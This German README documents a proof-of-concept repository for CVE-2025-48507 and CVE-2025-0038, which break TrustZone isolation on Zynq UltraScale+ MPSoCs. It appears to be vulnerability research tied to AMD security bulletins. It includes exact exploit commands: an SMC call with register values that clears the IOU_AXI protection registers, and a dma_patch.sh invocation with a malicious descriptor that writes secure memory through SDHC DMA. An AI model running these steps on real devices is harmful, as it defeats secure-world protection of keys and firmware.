TrustZone auf Zynq UltraScale+ MPSoCs durchbrechen – Proof of Concept für CVE-2025-48507 und CVE-2025-0038

Nicht-Secure-Software könnte CVE-2025-48507 und CVE-2025-0038 ausnutzen, um Lese-/Schreibzugriff auf die Secure World auf Zynq UltraScale+-Plattformen zu erlangen und damit die TrustZone-Isolation zu durchbrechen. Zu diesem Zweck nutzt Nicht-Secure-Software CVE-2025-0038 und CVE-2025-48507 aus, um die Register IOU_AXI_WPRTCN und IOU_AXI_RPRTCN (0xFF240000) zu löschen und den SD Host Controller als Secure Master zu schalten. Anschließend nutzt Nicht-Secure-Software (z. B. Linux) den SD Host Controller (dessen Slave-Schnittstelle weiterhin Non-Secure ist), um in beliebige Secure-Speicherbereiche zu schreiben oder daraus zu lesen.

Weitere Informationen:

• AMDs Sicherheitsbulletins:
  • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
  • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
• PowerPoint-Präsentation des PoC: /doc/PoC_Exploit_presentation.pdf
• Video des PoC: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
• Original-Forschungsartikel (Abschnitt 5.5): /doc/preprint.pdf

Betroffene Plattformen:

• Kria™ SOM
• Zynq UltraScale+ MPSoCs
• Zynq UltraScale+ RFSoCs

Betroffene Komponenten:

• Arm Trusted Firmware für Cortex-A-Prozessoren (TF-A) und PMU-Firmware-Versionen bis einschließlich 2025.1.

Organisation dieses Repos:

• source/ : Quellcode zur Reproduktion dieses PoC auf Zynq UltraScale+ MPSoCs (ZC104)

  • Zur Nutzung von CVE-2025-48507 und CVE-2025-0038

    • smc-tt.c: Einfaches Kernelmodul, das es Non-Secure Linux ermöglicht, beliebige SMC-Aufrufe auszuführen.

    • Makefile: Ein Makefile zum Cross-Kompilieren von Kernelmodulen (Pfade müssen angepasst werden).

  • Zur Ausnutzung von CVE-2025-0038 und CVE-2025-48507

    • sdhc.c: Modifizierter SDHC-Treiber, der DMA-Angriffe über den SD Host Controller (SDHC) ermöglicht.
    • dma_patch.sh: Ein praktisches Skript, das mithilfe des modifizierten SDHC-Treibers beliebige Speicherbereiche über die DMA-Fähigkeiten des SDHC patchen kann.

• doc/ : Präsentationen und Forschungsartikel, die die Sicherheitslücken auf TF-A- und PMU-Ebene detailliert beschreiben.

• hw_debug/: Hardware-Debugger-Skripte zum Debuggen von TF-A auf der APU und dem PMU-Prozessor. Sie bieten eine Umgebung zum Debuggen der betroffenen Funktionen in der PMU-Firmware und in TF-A und bestätigen den Erfolg des Angriffs. Diese Skripte sind für die Verwendung mit Trace32 und einem Lauterbach PowerDebug PRO JTAG-Hardware-Debugger vorgesehen. Der Hardware-Debugger wurde an den JTAG-Port (J180) des ZCU104 angeschlossen.

Reproduktion des Angriffs

Aufbau der Umgebung:

1. Erstellen Sie eine betroffene Umgebung (d. h. Linux, TF-A, PMU-Firmware ...).

   • z. B. vorgefertigte Petalinux-Images, Yocto, Petalinux-Tools ...

2. Setzen Sie beim Erstellen von Linux den SDHC-Treiber über kconfig als ladbares Kernelmodul. Dies ist nur für die Ausnutzung erforderlich.

   • MMC_SDHCI=M

3. Kompilieren Sie die Kernelmodule smc-tt.c und sdhci.c. Das bereitgestellte Makefile kann verwendet werden, indem die Kernel- und Compiler-Pfade angepasst werden.

4. Fügen Sie zur Nutzung der CVEs smc-tt.ko zum Linux-Rootfs hinzu.

5. Fügen Sie zur Ausnutzung der CVEs sdhci.ko und dma_patch.sh zum Linux-Rootfs hinzu.

PoC und Exploit der CVEs:

Im PoC wurde das System (d. h. fslb, U-Boot ...) von einer SD-Karte gebootet. Das Rootfs von Linux wurde auf einen USB-Stick geflasht. Für den DMA-Angriff verwendete Linux eine leere Partition der SD-Karte, auf die der SD Host Controller zugriff, der von dem modifizierten SDHC-Treiber (sdhci.ko) gesteuert wurde.

Um die CVEs nur zu testen, können die Schritte 2, 3 und 5 übersprungen werden.

1. U-Boot-Befehle zum Booten von Linux in der Non-Secure World mit Rootfs auf einer USB-Partition:

setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000

2. Fügen Sie den modifizierten SDHC-Treiber ein, um beliebige DMA-Zugriffe durchzuführen:

insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 

3. Versuchen Sie, den Secure-Speicher mithilfe des modifizierten SDHC-Treibers zu patchen. Dies sollte fehlschlagen, da der SDHC noch Non-Secure ist:

./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3

• ARG1: PAYLOAD

• ARG2: Bösartiger Deskriptor zur Durchführung eines unerlaubten DMA-Zugriffs.

  • Z. B. '\x00\x00\xdc\xff\x20\x00\x23\x00', um 0x20 Bytes an der Adresse 0xFFDC0000 zu patchen. \x23\x00 muss unverändert bleiben.

• ARG3: Eine Gerätepartition, die vom SD Host Controller verwaltet wird, der durch den modifizierten SDHC-Treiber gesteuert wird.

  • Z. B. /dev/mmcblk0p3

4. Nutzen Sie die CVEs aus, um IOU_AXI_WPRTCN und IOU_AXI_RPRTCN (0xFF240000) zu löschen:

insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000

• 0xc200002E: Betroffener SMC-Aufruf (PM_FPGA_READ).

• 0xff24000000000100: Zu löschende Adresse (0xFF240000) (d. h. IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) und Anzahl der zu löschenden Bytes (0x00000100)

• 0x100000000: Liest die PL-Daten zurück in den Hauptspeicher (0x1). Da nichts geladen wurde, wird dadurch lediglich der Zielspeicherbereich gelöscht.

• Weitere Informationen zu den Parametern von PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

5. Versuchen Sie erneut, den Secure-Speicher zu patchen (0xFFDC0000). Dies sollte gelingen, da der SDHC jetzt Secure ist:

./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3

Jetzt kann Linux über die SDHC-DMA vollständig auf den Secure-Speicher zugreifen.